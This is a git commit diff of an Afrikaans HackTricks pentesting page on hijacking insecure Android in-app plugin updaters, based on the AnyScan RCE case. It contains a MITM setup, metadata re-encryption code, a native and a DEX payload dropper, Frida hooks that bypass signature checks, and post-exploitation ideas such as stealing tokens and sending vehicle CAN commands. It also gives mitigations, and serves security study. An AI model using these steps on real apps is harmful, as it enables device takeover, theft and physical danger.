mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
4fa84f7adf
commit
b1ef07f5e7
@ -1,16 +1,49 @@
|
||||
# Onveilige In-App Opdateringsmeganismes – Afgeleide Kode-uitvoering via Kwaadwillige Plugins
|
||||
# Onveilige In‑App Update‑meganismes – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Baie Android-toepassings implementeer hul **eie “plugin” of “dinamiese kenmerk” opdateringskanale** in plaas van om die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan 'n aanvaller wat die verkeer kan onderskep **arbitraire nativ kode verskaf wat binne die app-proses gelaai sal word**, wat lei tot volle Afgeleide Kode-uitvoering (RCE) op die toestel – en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (motors, IoT, mediese toestelle …).
|
||||
Baie Android‑toepassings implementeer hulle eie “plugin” of “dynamic feature” update‑kanale in plaas van die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan ’n aanvaller wat in staat is om update‑verkeer te onderskep of te manipuleer arbitrêre native of Dalvik/ART‑kode verskaf wat binne die app‑proses gelaai sal word, wat lei tot volledige Remote Code Execution (RCE) op die handset — en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (cars, IoT, medical devices …).
|
||||
|
||||
Hierdie bladsy som 'n werklike kwesbaarheidsketting op wat in die Xtool **AnyScan** motor-diagnose app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android-toepassings kan auditeer en die mis-konfigurasie kan wapen tydens 'n rooi-span betrokkenheid.
|
||||
Hierdie bladsy som ’n werklike kwesbaarheidsketting saam wat in die Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android‑apps kan oudit en die wankonfigurasie kan benut tydens ’n red-team engagement.
|
||||
|
||||
---
|
||||
## 0. Quick triage: does the app have an in‑app updater?
|
||||
|
||||
Statiese aanwysers om in JADX/apktool na te gaan:
|
||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
|
||||
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
|
||||
|
||||
Runtime hooks to confirm:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. Identifisering van 'n Onveilige TLS TrustManager
|
||||
|
||||
1. Decompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Soek vir 'n **aangepaste `TrustManager`** of `HostnameVerifier` wat blindelings elke sertifikaat vertrou:
|
||||
1. Dekompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Soek na 'n pasgemaakte `TrustManager` of `HostnameVerifier` wat blindelings elke sertifikaat vertrou:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. As dit teenwoordig is, sal die toepassing **enige TLS-sertifikaat** aanvaar → jy kan 'n deursigtige **MITM-proxy** met 'n self-onderteken sertifikaat laat loop:
|
||||
3. Indien dit teenwoordig is, sal die toepassing enige TLS certificate aanvaar → jy kan 'n transparent MITM proxy met 'n self-signed cert laat loop:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Omgekeerde Ingenieurswese van die Opdatering Metadata
|
||||
As TLS pinning afgedwing word in plaas van unsafe trust-all logic, sien:
|
||||
|
||||
In die AnyScan geval aktiveer elke app-lancering 'n HTTPS GET na:
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Reverse-Engineering van die Update Metadata
|
||||
|
||||
In die AnyScan-geval veroorsaak elke app-opstart 'n HTTPS GET na:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Die responsliggaam is 'n **XML-dokument** waarvan die `<FileData>` knope **Base64-gecodeerde, DES-ECB versleutelde** JSON bevat wat elke beskikbare plugin beskryf.
|
||||
Die response body is 'n XML-dokument waarvan die `<FileData>` nodes Base64-encoded, DES-ECB encrypted JSON bevat wat elke beskikbare plugin beskryf.
|
||||
|
||||
Tipiese jagstappe:
|
||||
1. Vind die kripto-routine (bv. `RemoteServiceProxy`) en herstel:
|
||||
* algoritme (DES / AES / RC4 …)
|
||||
* werkingmodus (ECB / CBC / GCM …)
|
||||
* hard-gecodeerde sleutel / IV (dikwels 56-bis DES sleutels of 128-bis AES sleutels in konstantes)
|
||||
2. Her-implementeer die funksie in Python om die metadata te ontsleutel / te versleutel:
|
||||
Tipiese opsporingsstappe:
|
||||
1. Lokaliseer die crypto routine (bv. `RemoteServiceProxy`) en bepaal:
|
||||
- algoritme (DES / AES / RC4 …)
|
||||
- bedryfsmodus (ECB / CBC / GCM …)
|
||||
- hard-coded key / IV (gewoonlik 56‑bit DES of 128‑bit AES konstantes)
|
||||
2. Herimplementer die funksie in Python om die metadata te decrypt / encrypt:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Skep 'n Kwaadwillige Plugin
|
||||
Waarnemings uit die veld (2023–2025):
|
||||
- Metadata is dikwels JSON-within-XML of protobuf; weak ciphers en static keys kom algemeen voor.
|
||||
- Baie updaters aanvaar plain HTTP vir die werklike payload-aflaai, selfs al kom metadata oor HTTPS.
|
||||
- Plugins pak gereeld uit na app-internal storage; sommige gebruik steeds external storage of die legacy `requestLegacyExternalStorage`, wat cross-app tampering moontlik maak.
|
||||
|
||||
1. Kies enige legitieme plugin ZIP en vervang die inheemse biblioteek met jou payload:
|
||||
---
|
||||
## 3. Skep 'n Kwaadaardige Plugin
|
||||
|
||||
### 3.1 Inheemse biblioteekpad (dlopen/System.load[Library])
|
||||
|
||||
1. Kies enige legitieme plugin ZIP en vervang die native library met jou payload:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Werk die JSON-metadata op sodat `"FileName" : "PWNED.zip"` en `"DownloadURL"` na jou HTTP-bediener wys.
|
||||
3. DES-enkripteer + Base64-kodeer die gewysigde JSON en kopieer dit terug binne die onderskepte XML.
|
||||
2. Werk die JSON-metadata by sodat `"FileName" : "PWNED.zip"` en `"DownloadURL"` na jou HTTP server wys.
|
||||
3. Her-enkripteer + Base64-encode die gemodifiseerde JSON en plak dit terug in die onderskepte XML.
|
||||
|
||||
### 3.2 Dex-gebaseerde plugin-pad (DexClassLoader)
|
||||
|
||||
Sommige apps laai 'n JAR/APK af en laai kode via `DexClassLoader`. Bou 'n kwaadwillige DEX wat by laai geaktiveer word:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
As die teiken `Class.forName("pwn.Dropper")` aanroep, word jou statiese initializer uitgevoer; andersins, enumereer reflekterend die gelaaide klasse met Frida en roep 'n geëksporteerde metode aan.
|
||||
|
||||
---
|
||||
## 4. Lewer die Payload met mitmproxy
|
||||
|
||||
`addon.py` voorbeeld wat *stilweg* die oorspronklike metadata verwissel:
|
||||
`addon.py` voorbeeld wat stilweg die oorspronklike metadata ruil:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +166,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Voer 'n eenvoudige webbediener uit om die kwaadwillige ZIP te huisves:
|
||||
Voer 'n eenvoudige webbediener uit om die skadelike ZIP/JAR te huisves:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Wanneer die slagoffer die app begin, sal dit:
|
||||
* ons vervalste XML oor die MITM-kanaal verkry;
|
||||
* dit met die hard-gekodeerde DES-sleutel ontcijfer en ontleed;
|
||||
* `PWNED.zip` aflaai → uitpak binne private stoor;
|
||||
* `dlopen()` die ingeslote *libscan_x64.so*, wat ons kode onmiddellik uitvoer **met die app se toestemmings** (kamera, GPS, Bluetooth, lêerstelsel, …).
|
||||
Wanneer die slagoffer die app open, sal dit:
|
||||
- haal ons vervalste XML oor die MITM-kanaal;
|
||||
- dekripteer & parseer dit met die hard-coded crypto;
|
||||
- laai `PWNED.zip` of `plugin.jar` af → unzip binne die privaat stoorplek;
|
||||
- laai die ingeslote `.so` of DEX, en voer ons kode onmiddellik uit met die app se toestemmings (kamera, GPS, Bluetooth, lêerstelsel, …).
|
||||
|
||||
Omdat die plugin op skyf gekas is, **bly die agterdeur oor herlaai** en loop elke keer wanneer die gebruiker die verwante funksie kies.
|
||||
|
||||
## 5. Post-Exploitation Idees
|
||||
|
||||
* Steel sessie koekies, OAuth tokens, of JWTs wat deur die app gestoor word.
|
||||
* Laat 'n tweede-fase APK val en installeer dit stilweg via `pm install` (die app het reeds `REQUEST_INSTALL_PACKAGES`).
|
||||
* Misbruik enige gekonnekteerde hardeware – in die AnyScan-scenario kan jy arbitrêre **OBD-II / CAN bus opdragte** stuur (deure ontgrendel, ABS deaktiveer, ens.).
|
||||
Omdat die plugin op skyf gecache word, bly die backdoor oor na herstart en word dit elke keer uitgevoer wanneer die gebruiker die verwante funksie kies.
|
||||
|
||||
---
|
||||
### Opsporing & Versagting Kontrolelys (blou span)
|
||||
## 4.1 Omseiling van signature/hash-kontroles (wanneer teenwoordig)
|
||||
|
||||
* NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, stuur nie.
|
||||
* Moet nie uitvoerbare kode van buite Google Play aflaai nie. As jy *moet*, teken elke plugin met dieselfde **apkSigning v2** sleutel en verifieer die handtekening voordat jy laai.
|
||||
* Vervang swak/hard-gekodeerde kripto met **AES-GCM** en 'n bediener-kant draaiende sleutel.
|
||||
* Verifieer die integriteit van afgelaaide argiewe (handtekening of ten minste SHA-256).
|
||||
As die updater signatures of hashes valideer, hook die verifikasie om altyd aanvallersinhoud te aanvaar:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
Oorweeg ook om verskaffer‑metodes te stub soos `PluginVerifier.verifySignature()`, `checkHash()`, of om die update‑gating‑logika in Java of JNI kortsluit.
|
||||
|
||||
---
|
||||
## Verwysings
|
||||
## 5. Ander aanvalsvlakke in opdateringsmeganismes (2023–2025)
|
||||
|
||||
- Zip Slip path traversal terwyl plugins uitgepak word: kwaadwillige inskrywings soos `../../../../data/data/<pkg>/files/target` oorskryf arbitrêre lêers. Saniteer altyd inskrywings‑paaie en gebruik toegangslyste.
|
||||
- Eksterne stoorplek staging: as die app die argief na external storage skryf voordat dit gelaai word, kan enige ander app daaraan knoei. Scoped Storage of interne app‑opberg voorkom dit.
|
||||
- Onsleutelde aflaaie: metadata oor HTTPS maar die payload oor HTTP → eenvoudige MITM‑ruil.
|
||||
- Onvolledige handtekeningkontroles: slegs 'n enkele lêerhash vergelyk, nie die hele argief nie; nie die handtekening aan die ontwikkelaar‑sleutel bind nie; enige RSA‑sleutel in die argief aanvaar.
|
||||
- React Native / Web-based OTA content: as native bridges JS vanaf OTA uitvoer sonder streng ondertekening, is arbitrêre kode‑uitvoering in die app‑konteks moontlik (bv. onveilige CodePush‑agtige strome). Verseker detached update signing en streng verifikasie.
|
||||
|
||||
---
|
||||
## 6. Post‑eksploitasie‑idees
|
||||
|
||||
- Steel sessie‑cookies, OAuth‑tokens, of JWTs wat deur die app gestoor is.
|
||||
- Plaas 'n tweede‑fase APK en installeer dit stilweg via `pm install` indien moontlik (sommige apps verklaar reeds `REQUEST_INSTALL_PACKAGES`).
|
||||
- Misbruik enige gekoppelde hardeware – in die AnyScan‑scenario kan jy arbitrêre OBD‑II / CAN‑bus opdragte stuur (deure ontsluit, ABS deaktiveer, ens.).
|
||||
|
||||
---
|
||||
### Opsporing- & Mitigering‑kontrolelys (blue team)
|
||||
|
||||
- Vermy dinamiese kode‑lading en updates buite die winkel. Verkies Play‑gemedieerde updates. As dinamiese plugins 'n harde vereiste is, ontwerp dit as data‑slegs bondels en hou uitvoerbare kode in die basis‑APK.
|
||||
- Handhaaf TLS korrek: geen pasgemaakte trust‑all managers nie; implementeer pinning waar uitvoerbaar en 'n geharde network security config wat onsleutelde verkeer verbied.
|
||||
- Laai nie uitvoerbare kode van buite Google Play af nie. As dit noodsaaklik is, gebruik detached update signing (bv. Ed25519/RSA) met 'n deur die ontwikkelaar gehoue sleutel en verifieer voor lading. Bind metadata en payload (lengte, hash, weergawe) en fail closed.
|
||||
- Gebruik moderne kriptografie (AES‑GCM) met per‑boodskap nonces vir metadata; verwyder hard‑gekodeerde sleutels uit kliente.
|
||||
- Valideer integriteit van afgelaaide argiewe: verifieer 'n handtekening wat elke lêer dek, of ten minste verifieer 'n manifest van SHA‑256‑hashes. Verwerp ekstra/onbekende lêers.
|
||||
- Stoor aflaaie in app‑interne stoorplek (of Scoped Storage op Android 10+) en gebruik lêermagteigings wat kruis‑app knoeiing voorkom.
|
||||
- Verdedig teen Zip Slip: normaliseer en valideer zip‑inskrywing‑paaie voor uitpak; verwerp absolute paaie of `..` segmente.
|
||||
- Oorweeg Play “Code Transparency” sodat jy en gebruikers kan verifieer dat die versendde DEX/native kode ooreenstem met wat jy gebou het (aanvulling, maar vervang nie APK‑handtekening nie).
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user